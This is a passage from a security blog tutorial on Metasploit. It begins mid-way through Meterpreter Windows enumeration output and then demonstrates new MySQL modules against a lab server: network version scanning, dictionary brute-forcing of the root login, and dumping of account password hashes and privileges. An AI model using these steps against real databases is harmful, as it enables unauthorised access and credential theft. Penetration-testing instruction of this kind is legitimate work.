  75: [*]     running command cmd.exe /c set
  76: ..........
  77: [*] Running WMIC Commands ....
  78: [*]     running command wmic computersystem list brief
  79: ..........
  80: [*] Extracting software list from registry
  81: [*] UAC is enabled, Wireless key Registry could not be dumped under current privileges
  82: [-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.
  83: [*] Getting Tokens...
  84: [*] All tokens have been processed
  85: [*] Done!
  86: [*] Session 5 (192.168.1.138:57197):
  87: [*] Running Windows Local Enumerion Meterpreter Script
  88: [*] New session on 192.168.1.138:57197...
  89: [*] Saving report to /home/carlos/.msf3/logs/winenum/WIN-YR4V852V71Y_20091225.5019-40179/WIN-YR4V852V71Y_20091225.5019-40179.txt
  90: [*] Checking if WIN-YR4V852V71Y is a Virtual Machine ........
  91: [*]     This is a VMware Workstation/Fusion Virtual Machine
  92: [*] Running Command List ...
  93: [*]     running command cmd.exe /c set
  94: ..........
  95: [*] Running WMIC Commands ....
  96: [*]     running command wmic computersystem list brief
  97: ..........
  98: [*] Extracting software list from registry
  99: [-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.
 100: [*] Getting Tokens...
 101: [*] All tokens have been processed
 102: [*] Done!
 103: msf exploit(handler) > 

As it can be seen the Framework is advancing a great number of features and new options are being added. I do have to say that the path in which the HD moved the Framework when joining forces with Rapid7 is paying off in a more robust and faster release cycle.

Sunday
Dec272009

New MySQL Support in Metasploit

Recently HD added a new mixin for MySQL adding support for connecting and executing queries against MySQL using the MySQL library from tmtm.org. In addition to the library 2 new modules from Bernardo Damele (Author of SQLMap) where added. The modules from Bernardo are:

  • mysql_sql – A simple module for executing queries against MySQL provided the appropriate credentials.
  • mysql_login – Login brut force module.

In addition to this 2 module I wrote a mysql_enum module based on the CIS Benchmark for MySQL and an existing module called version was already present to enumerate a MySQL version thru the network.

The Mixin

Lets start by taking a look at the Mixin. At the moment of this blog post this is how the mixin looks:

  1: require 'msf/core'
  2: require 'rbmysql'
  3: 
  4: module Msf
  5: module Exploit::Remote::MYSQL
  6: 
  7: 	include Exploit::Remote::Tcp
  8: 
  9: 	def initialize(info = {})
 10: 		super
 11: 
 12: 		register_options(
 13: 			[
 14: 				Opt::RHOST,
 15: 				Opt::RPORT(3306),
 16: 				OptString.new('MYSQL_USER', [ true, 'The username to authenticate as', 'root']),
 17: 				OptString.new('MYSQL_PASS', [ false, 'The password for the specified username', '']),
 18: 			], Msf::Exploit::Remote::MYSQL
 19: 		)
 20: 	end
 21: 
 22: 	def mysql_login(user='root', pass='', db=nil)
 23: 		disconnect if self.sock
 24: 		connect
 25: 
 26: 		@mysql_handle = ::RbMysql.connect({
 27: 			:host     => rhost,
 28: 			:port     => rport,
 29: 			:socket   => sock,
 30: 			:user     => user,
 31: 			:password => pass,
 32: 			:db       => db
 33: 		})
 34: 	end
 35: 
 36: 	def mysql_logoff
 37: 		@mysql_handle = nil if @mysql_handle
 38: 		disconnect if self.sock
 39: 	end
 40: 
 41: 	def mysql_login_datastore
 42: 		mysql_login(datastore['MYSQL_USER'], datastore['MYSQL_PASS'])
 43: 	end
 44: 
 45: 	def mysql_query(sql)
 46: 		res = nil
 47: 		begin
 48: 			res = @mysql_handle.query(sql)
 49: 		rescue ::RbMysql::Error => e
 50: 			print_error("MySQL Error: #{e.class} #{e.to_s}")
 51: 			return
 52: 		end
 53: 
 54: 		res
 55: 	end
 56: 
 57: end
 58: end

 

 

From lines 9 to 20 the mixin when initialized adds the following options to the module that imports it:

  • RHOST – The MySQL server to connect to.
  • RPORT – The MySQL port, default value of 3306.
  • MYSQL_USER – User account to use for the connecting to the MySQL Server.
  • MYSQL_PASS – Password to use for the connecting to the MySQL Server

The Mixin is a very simple one to use it provides 4 calls:

  • mysql_login – this call allows the coder to connect to a MySQL server providing the Username, Password and Database
  • mysql_logoff - Disconnects the connection created to the database server created by msql_login
  • mysql_login_datastore – Is a wrapper around mysql_login where a login is made using only the datastore values for MYSQL_USER and MYSQL_PASS.
  • mysql_query – Performs a SQL query against the connected database server given a SQL string to execute.
The MySQL Version Scanner Module

The existing module before the mixing was added is the version scanner module by Kris Katterjohn:

   1: msf > use auxiliary/scanner/mysql/version 
   2: msf auxiliary(version) > info
   3:  
   4:        Name: MySQL Server Version Enumeration
   5:     Version: 6482
   6:     License: Metasploit Framework License (BSD)
   7:        Rank: Normal
   8:  
   9: Provided by:
  10:   kris katterjohn <katterjohn@gmail.com>
  11:  
  12: Basic options:
  13:   Name     Current Setting  Required  Description
  14:   ----     ---------------  --------  -----------
  15:   RHOSTS                    yes       The target address range or CIDR identifier
  16:   RPORT    3306             yes       The target port
  17:   THREADS  1                yes       The number of concurrent threads
  18:  
  19: Description:
  20:   Enumerates the version of MySQL servers
  21:  
  22: msf auxiliary(version) > 

the module accepts as options

  • RHOSTS – a targeted address range.
  • RPORT – the TCP port on where to look for, the port 3306 is set by default.
  • THREADS – the number of threads to use for lloking for host and enumerating their versions, default is 1.

Lets set a scan and run it against the local network.

   1: msf auxiliary(version) > set RHOSTS 192.168.1.1/24
   2: RHOSTS => 192.168.1.1/24
   3: msf auxiliary(version) > set THREADS 10
   4: THREADS => 10
   5: msf auxiliary(version) > run
   6:  
   7: [*] Scanned 029 of 256 hosts (011% complete)
   8: [*] Scanned 052 of 256 hosts (020% complete)
   9: [*] Scanned 077 of 256 hosts (030% complete)
  10: [*] Scanned 103 of 256 hosts (040% complete)
  11: [*] Scanned 128 of 256 hosts (050% complete)
  12: [*] Scanned 154 of 256 hosts (060% complete)
  13: [*] Scanned 189 of 256 hosts (073% complete)
  14: [*] Scanned 205 of 256 hosts (080% complete)
  15: [*] 192.168.1.225:3306 is running MySQL ["5.0.75-0ubuntu10.2"] (protocol [10])
  16: [*] Scanned 232 of 256 hosts (090% complete)
  17: [*] Scanned 256 of 256 hosts (100% complete)
  18: [*] Auxiliary module execution completed
  19: msf auxiliary(version) > 

It found our MySQL box and enumerated correctly the version.

The MySQL Login Bruteforce Module

 

The MySQL Login Bruteforce module by Bernardo is one of the first modules to use the new mixin:

   1: msf > use auxiliary/scanner/mysql/mysql_login 
   2:  
   3: msf auxiliary(mysql_login) > info
   4:  
   5:        Name: MySQL Login Utility
   6:     Version: 7979
   7:     License: Metasploit Framework License (BSD)
   8:        Rank: Normal
   9:  
  10: Provided by:
  11:   Bernardo Damele A. G. <bernardo.damele@gmail.com>
  12:  
  13: Basic options:
  14:   Name             Current Setting  Required  Description
  15:   ----             ---------------  --------  -----------
  16:   MYSQL_PASS                        no        The password for the specified username
  17:   MYSQL_PASS_FILE                   no        A dictionary of passwords to perform a bruteforce attempt
  18:   MYSQL_USER       root             yes       The username to authenticate as
  19:   RHOSTS                            yes       The target address range or CIDR identifier
  20:   RPORT            3306             yes       The target port
  21:   THREADS          1                yes       The number of concurrent threads
  22:   VERBOSE          false            yes       Verbose output
  23:  
  24: Description:
  25:   This module simply queries the MySQL instance for a specific 
  26:   user/pass (default is root with blank).
  27:  
  28: msf auxiliary(mysql_login) > 

The module adds 3 options additional to the options that are part of the mixin, this options are:

  • MYSQL_PASS_FILE – A Dictionary of password to perform the bruteforce.
  • THREADS – The Number of simultaneous attempts to perform.
  • VERBOSE – Enable verbose mode so as to see as much information of what the module is doing.
  • RHOSTS – The range of servers to test.

Once successful this module also saves the found credentials in the database attached to the framework if one is present. Lets set the module to attack the found MySQL server, give it a password file and set it to 10 concurrent connections:

   1: msf auxiliary(mysql_login) > set MYSQL_PASS_FILE /tmp/pass.txt
   2: MYSQL_PASS_FILE => /tmp/pass.txt
   3: msf auxiliary(mysql_login) > set THREADS 5
   4: THREADS => 5
   5: msf auxiliary(mysql_login) > set RHOSTS 192.168.1.225
   6: RHOSTS => 192.168.1.225
   7: msf auxiliary(mysql_login) > run
   8:  
   9: [*] 192.168.1.225:3306 successful logged in as 'root' with password 'P@ssword'
  10: [*] Scanned 1 of 1 hosts (100% complete)
  11: [*] Auxiliary module execution completed
  12: msf auxiliary(mysql_login) > 

The new mixin is quite fast.

The MySQL Generic Query Module

This is the second module contributed by Bernardo, it allows the execution of generic SQL queries given a username and password.

   1: msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql 
   2: msf auxiliary(mysql_sql) > info
   3:  
   4:        Name: MySQL SQL Generic Query
   5:     Version: 7978
   6:     License: Metasploit Framework License (BSD)
   7:        Rank: Normal
   8:  
   9: Provided by:
  10:   Bernardo Damele A. G. <bernardo.damele@gmail.com>
  11:  
  12: Basic options:
  13:   Name        Current Setting   Required  Description
  14:   ----        ---------------   --------  -----------
  15:   MYSQL_PASS                    no        The password for the specified username
  16:   MYSQL_USER  root              yes       The username to authenticate as
  17:   RHOST                         yes       The target address
  18:   RPORT       3306              yes       The target port
  19:   SQL         select version()  yes       The SQL to execute.
  20:  
  21: Description:
  22:   This module allows for simple SQL statements to be executed against 
  23:   a MySQL instance given the appropriate credentials.
  24:  
  25: msf auxiliary(mysql_sql) > 

  Lets set the module to execute the “select user, host, password from mysql.user” query to list all accounts configured on the server, the host from which they can connect to and the password hash (in version 5 a double SHA1):

   1: msf auxiliary(mysql_sql) > set MYSQL_PASS P@ssword
   2: MYSQL_PASS => P@ssword
   3: msf auxiliary(mysql_sql) > set RHOST 192.168.1.225
   4: RHOST => 192.168.1.225
   5: msf auxiliary(mysql_sql) > set SQL select user, host, password from mysql.user
   6: SQL => select user, host, password from mysql.user
   7: msf auxiliary(mysql_sql) > run
   8:  
   9: [*] Sending statement: 'select user, host, password from mysql.user'...
  10: [*]  | root | localhost | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  11: [*]  | root | mysql1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  12: [*]  | root | 127.0.0.1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  13: [*]  | debian-sys-maint | localhost | *B5B29092C4F54539DAEED066DDA875543A81C9A8 |
  14: [*]  | root | % | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  15: [*]  | empypassusr | % |  |
  16: [*]  |  | % | *26084ECEA9703C37D3D28CA34D9346D9527B0ABF |
  17: [*] Auxiliary module execution completed
  18: msf auxiliary(mysql_sql) > 

The level of access and what queries can be performed will depend on the permissions of the account that is being used.

 The MySQL Enumeration Module

Entering each query one by one will take some time, so I wrote a module that uses the mixin for performing enumeration of those parameter, privileges and accounts that might be of interest to an attacker.

   1: msf auxiliary(mysql_sql) > use auxiliary/admin/mysql/mysql_enum 
   2: msf auxiliary(mysql_enum) > info
   3:  
   4:        Name: MySQL Enumeration Module
   5:     Version: $Revision:$
   6:     License: Metasploit Framework License (BSD)
   7:        Rank: Normal
   8:  
   9: Provided by:
  10:   Carlos Perez. <carlos_perez@darkoperator.com>
  11:  
  12: Basic options:
  13:   Name        Current Setting  Required  Description
  14:   ----        ---------------  --------  -----------
  15:   MYSQL_PASS                   no        The password for the specified username
  16:   MYSQL_USER  root             yes       The username to authenticate as
  17:   RHOST                        yes       The target address
  18:   RPORT       3306             yes       The target port
  19:  
  20: Description:
  21:   This module allows for simple enumeration of MySQL Database Server 
  22:   provided proper credentials to connect remotely.
  23:  
  24: References:
  25:   https://cisecurity.org/benchmarks.html
  26:  
  27: msf auxiliary(mysql_enum) > 

Lets provide the appropriate parameters to execute the module against the MySQL server (Note: You can use global variables so to not enter the information individually in each module using the setg command)

   1: msf auxiliary(mysql_enum) > set RHOST 192.168.1.225
   2: RHOST => 192.168.1.225
   3: msf auxiliary(mysql_enum) > set MYSQL_PASS P@ssword
   4: MYSQL_PASS => P@ssword
   5: msf auxiliary(mysql_enum) > run
   6:  
   7: [*] Running MySQL Enumerator...
   8: [*] Enumerating Parameters
   9: [*]     MySQL Version: 5.0.75-0ubuntu10.2
  10: [*]     Compiled for the following OS: debian-linux-gnu
  11: [*]     Architecture: i486
  12: [*]     Server Hostname: mysql1
  13: [*]     Data Directory: /var/lib/mysql/
  14: [*]     Logging of queries and logins: OFF
  15: [*]     Old Password Hashing Algorithm: OFF
  16: [*]     Loading of local files: ON
  17: [*]     Logings with old Pre-4.1 Passwords: OFF
  18: [*]     Allow Use of symlinks for Databse Files: YES
  19: [*]     Allow Table Merge: YES
  20: [*]     SSL Connection: DISABLED
  21: [*] Enumerating Accounts:
  22: [*]     List of Accounts with Password Hashes:
  23: [*]         User: root Host: localhost Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  24: [*]         User: root Host: mysql1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  25: [*]         User: root Host: 127.0.0.1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  26: [*]         User: debian-sys-maint Host: localhost Password Hash: *B5B29092C4F54539DAEED066DDA875543A81C9A8
  27: [*]         User: root Host: % Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  28: [*]         User: empypassusr Host: % Password Hash: 
  29: [*]         User:  Host: % Password Hash: *26084ECEA9703C37D3D28CA34D9346D9527B0ABF
  30: [*]     The following users have GRANT Privilege:
  31: [*]         User: root Host: localhost
  32: [*]         User: root Host: mysql1
  33: [*]         User: root Host: 127.0.0.1
  34: [*]         User: debian-sys-maint Host: localhost
  35: [*]     The following users have CREATE USER Privilege:
  36: [*]         User: root Host: localhost
  37: [*]         User: root Host: mysql1
  38: [*]         User: root Host: 127.0.0.1
  39: [*]     The following users have RELOAD Privilege:
  40: [*]         User: root Host: localhost
  41: [*]         User: root Host: mysql1
  42: [*]         User: root Host: 127.0.0.1
  43: [*]         User: debian-sys-maint Host: localhost
  44: [*]     The following users have SHUTDOWN Privilege:
  45: [*]         User: root Host: localhost
  46: [*]         User: root Host: mysql1
  47: [*]         User: root Host: 127.0.0.1
  48: [*]         User: debian-sys-maint Host: localhost
  49: [*]     The following users have SUPER Privilege:
  50: [*]         User: root Host: localhost
  51: [*]         User: root Host: mysql1
  52: [*]         User: root Host: 127.0.0.1
  53: [*]         User: debian-sys-maint Host: localhost
  54: [*]     The following users have FILE Privilege:
  55: [*]         User: root Host: localhost
  56: [*]         User: root Host: mysql1
  57: [*]         User: root Host: 127.0.0.1
  58: [*]         User: debian-sys-maint Host: localhost
  59: [*]     The following users have POCESS Privilege:
  60: [*]         User: root Host: localhost
  61: [*]         User: root Host: mysql1
  62: [*]         User: root Host: 127.0.0.1
  63: [*]         User: debian-sys-maint Host: localhost
  64: [*]     The following accounts have privileges to the mysql databse:
  65: [*]         User: root Host: localhost
  66: [*]         User: root Host: mysql1
  67: [*]         User: root Host: 127.0.0.1
  68: [*]         User: debian-sys-maint Host: localhost
  69: [*]     Anonymous Accounts are Present:
  70: [*]         User:  Host: %
  71: [*]     The following accounts have empty passwords:
  72: [*]         User: empypassusr Host: %
  73: [*]     The following accounts are not restricted by source:
  74: [*]         User:  Host: %
  75: [*]         User: empypassusr Host: %
  76: [*]         User: root Host: %
  77: [*] Auxiliary module execution completed
  78: msf auxiliary(mysql_enum) > 

As it can be seen a lot of valuable information is gathered and displayed by the module.

As it can be seen the Framework now provides a new way to attack and enumerate MySQL Servers adding to its flexibility.